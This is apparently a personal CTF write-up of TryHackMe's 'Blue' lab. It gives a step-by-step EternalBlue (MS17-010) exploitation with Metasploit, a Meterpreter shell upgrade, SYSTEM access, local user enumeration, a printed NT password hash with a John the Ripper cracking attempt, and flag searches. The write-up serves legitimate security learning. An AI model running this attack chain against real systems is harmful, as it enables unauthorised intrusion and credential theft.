Post

Blue - TryHackMe

The room covers SMB enumeration, remote code execution, Meterpreter, SYSTEM-level access, Windows password hashes, and basic post-exploitation techniques.

πŸ“ Overview

Blue is a beginner-friendly Windows exploitation room on TryHackMe.

The machine demonstrates how an attacker can exploit the MS17-010 (EternalBlue) vulnerability in Windows SMB to obtain a shell and eventually gain SYSTEM-level privileges.

What I practiced

  • Network enumeration
  • SMB enumeration
  • Identifying MS17-010
  • Exploitation with Metasploit
  • Meterpreter
  • Windows privilege levels
  • Windows users and groups
  • Windows SAM/password storage
  • Searching for files from CMD/Meterpreter

1. Reconnaissance

First, I performed an Nmap scan against the target.

nmap -sC -sV -oN scan.txt <TARGET_IP>

Nmap options

Option Meaning
-sC Run Nmap’s default scripts
-sV Detect service versions
-oN Save output in normal format

The scan revealed several open ports, including SMB.

Example:

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Port 445 was particularly interesting because it is commonly used by SMB (Server Message Block).


2. SMB Enumeration

Because SMB was exposed, I checked whether the target was vulnerable to known SMB vulnerabilities.

One important vulnerability associated with older Windows SMB implementations is:

MS17-010 β€” EternalBlue

I used Nmap’s MS17-010 detection script:

nmap -p445 --script smb-vuln-ms17-010 <TARGET_IP>

The result indicated that the target was vulnerable.


3. Understanding MS17-010

MS17-010 is a Microsoft security vulnerability affecting SMBv1.

The vulnerability became widely known because of the EternalBlue exploit.

Conceptually:

Attacker
   |
   | SMB request
   v
TCP/445
   |
   v
Vulnerable SMBv1
   |
   | MS17-010
   v
Remote Code Execution
   |
   v
Meterpreter / Command Shell

The important point is that exploitation can allow remote code execution without already knowing a valid Windows password.


4. Exploitation with Metasploit

I started Metasploit:

msfconsole

Then searched for MS17-010 modules:

search ms17-010

I selected the EternalBlue exploit:

use exploit/windows/smb/ms17_010_eternalblue

I checked the available options:

show options

I then configured the target:

set RHOSTS <TARGET_IP>

I launched the exploit:

run

After successful exploitation, I obtained a Meterpreter session.

4.1 Upgrading the Shell to Meterpreter

To upgrade the existing shell into a Meterpreter session, I used the Metasploit post-exploitation module:

use post/multi/manage/shell_to_meterpreter

I checked the module options:

show options

I specified the existing shell session:

set SESSION <SESSION_ID>

For example:

set SESSION 1

I then executed the module:

run

The module attempted to upgrade the existing shell and create a new Meterpreter session.

I checked the available sessions:

sessions

The new Meterpreter session appeared in the session list.

I then connected to the Meterpreter session:

sessions -i <NEW_SESSION_ID>

For example:

sessions -i 2

The prompt changed to:

meterpreter >

This gave me a Meterpreter session that I could use for further post-exploitation activities.


5. Meterpreter Session

Once the Meterpreter session was established, I checked my current location:

meterpreter > pwd

The result showed:

C:\

I listed the filesystem:

meterpreter > ls

I could see directories such as:

Users
Windows
Program Files
ProgramData

I also found:

flag1.txt

I read the first flag:

meterpreter > cat flag1.txt

6. Understanding the Current Privilege

Initially, I tried commands such as:

meterpreter > whoami

However, whoami is a Windows CMD command rather than a Meterpreter command.

I entered a Windows shell:

meterpreter > shell

Then:

C:\>whoami

The result was:

nt authority\system

This was important because NT AUTHORITY\SYSTEM is the highest local Windows privilege level.

The privilege relationship can be visualized as:

Normal User
    ↓
Administrator
    ↓
SYSTEM

My session was already running as:

NT AUTHORITY\SYSTEM

Therefore, I did not need to switch to the Jon account.


7. Enumerating Windows Users

From the Windows CMD shell, I checked the local users:

net user

The machine contained accounts such as:

Administrator
Guest
Jon

I then examined the Jon account:

net user Jon

The output showed that Jon was a member of:

Administrators
Users

This confirmed that Jon had local administrator privileges.


8. Flag 2 β€” Windows Password Storage

The room’s clue stated:

This flag can be found at the location where passwords are stored within Windows.

This points to the SAM (Security Account Manager) database.

The SAM file is located at:

C:\Windows\System32\config\SAM

The relevant Windows configuration directory is:

C:\Windows\System32\config\

It contains important registry hives, including:

SAM
SECURITY
SYSTEM
SOFTWARE
DEFAULT

The SAM database stores information associated with local Windows user accounts and password hashes.


9. Obtaining Password Hashes

Because the Meterpreter session had SYSTEM privileges, I was able to obtain Windows password hashes.

The resulting hashdump contained:

Jon:1002:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Breaking this down:

Jon
β”‚
β”œβ”€β”€ 1002
β”‚   └── User RID
β”‚
β”œβ”€β”€ aad3b435b51404eeaad3b435b51404ee
β”‚   └── LM hash field
β”‚
└── ffb43f0de35be4d9917ac0cc8ad57f8d
    └── NT hash

The NT hash was:

ffb43f0de35be4d9917ac0cc8ad57f8d

I identified this as an NT hash.


10. Attempting to Crack the NT Hash

I saved the NT hash into a file:

echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > hash.txt

I then used John the Ripper:

john --format=NT --wordlist=/usr/share/seclists/Passwords/rockyou.txt hash.txt

John successfully recognized the hash:

Loaded 1 password hash (NT [MD4 ...])

However, the wordlist completed without finding the password:

0g ... DONE

I verified the result:

john --show --format=NT hash.txt

Result:

0 password hashes cracked, 1 left

This demonstrated that a password hash not being found in a wordlist does not necessarily mean the hash is invalid.


11. Flag 3

For the third flag, I searched the Windows filesystem for files containing flag.

From CMD:

dir C:\*flag* /s /b

Alternatively, from Meterpreter:

meterpreter > search -f flag*

Once the flag file was located, I could read it from CMD with:

type "C:\Users\Documents\flag3.txt"

or from Meterpreter:

meterpreter > cat "C:\Users\Documents\flag3.txt"

12. Important Meterpreter vs Windows CMD Commands

One thing I learned during this room was the difference between Meterpreter commands and Windows commands.

Meterpreter

meterpreter > pwd
meterpreter > ls
meterpreter > cd
meterpreter > search -f flag*
meterpreter > shell

Windows CMD

After:

meterpreter > shell

I can use Windows commands:

C:\>whoami
C:\>net user
C:\>net user Jon
C:\>dir
C:\>type flag.txt

The workflow is:

Meterpreter
     |
     | shell
     v
Windows CMD
     |
     β”œβ”€β”€ whoami
     β”œβ”€β”€ net user
     β”œβ”€β”€ dir
     └── type

13. Key Takeaways

πŸ”Ž Enumeration

  • Always begin with Nmap.
  • Identify exposed services and their versions.
  • SMB on ports 139/445 deserves attention on older Windows systems.

πŸ’₯ Exploitation

  • MS17-010 is a critical SMB vulnerability.
  • EternalBlue can provide remote code execution against vulnerable systems.
  • Metasploit can automate the exploitation process.

πŸͺŸ Windows

  • whoami identifies the current Windows security context.
  • NT AUTHORITY\SYSTEM provides extremely high local privileges.
  • net user enumerates local Windows accounts.
  • The SAM database is associated with local account password hashes.

πŸ” Hashes

  • Windows hashdump output contains LM and NT hash fields.
  • The NT hash is the important hash for modern Windows password authentication.
  • John the Ripper can attempt to crack NT hashes using wordlists.

πŸ› οΈ Commands I practiced

nmap -sC -sV <TARGET_IP>
nmap -p445 --script smb-vuln-ms17-010 <TARGET_IP>
msfconsole
john --format=NT --wordlist=<WORDLIST> hash.txt

Windows:

whoami
net user
net user Jon
dir C:\*flag* /s /b
type flag.txt

Meterpreter:

pwd
ls
cd
search -f flag*
shell
cat flag.txt

14. Lessons Learned

The biggest lesson from this room was the importance of connecting enumeration β†’ vulnerability identification β†’ exploitation β†’ privilege β†’ post-exploitation.

The overall attack path was:

Nmap
  ↓
SMB discovered
  ↓
MS17-010 identified
  ↓
EternalBlue exploitation
  ↓
Meterpreter
  ↓
SYSTEM privileges
  ↓
Windows filesystem
  ↓
SAM / password hashes
  ↓
Flags

Blue was a good introduction to Windows exploitation and helped me understand how a vulnerable SMB service can lead from a remotely accessible network service to SYSTEM-level access.

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.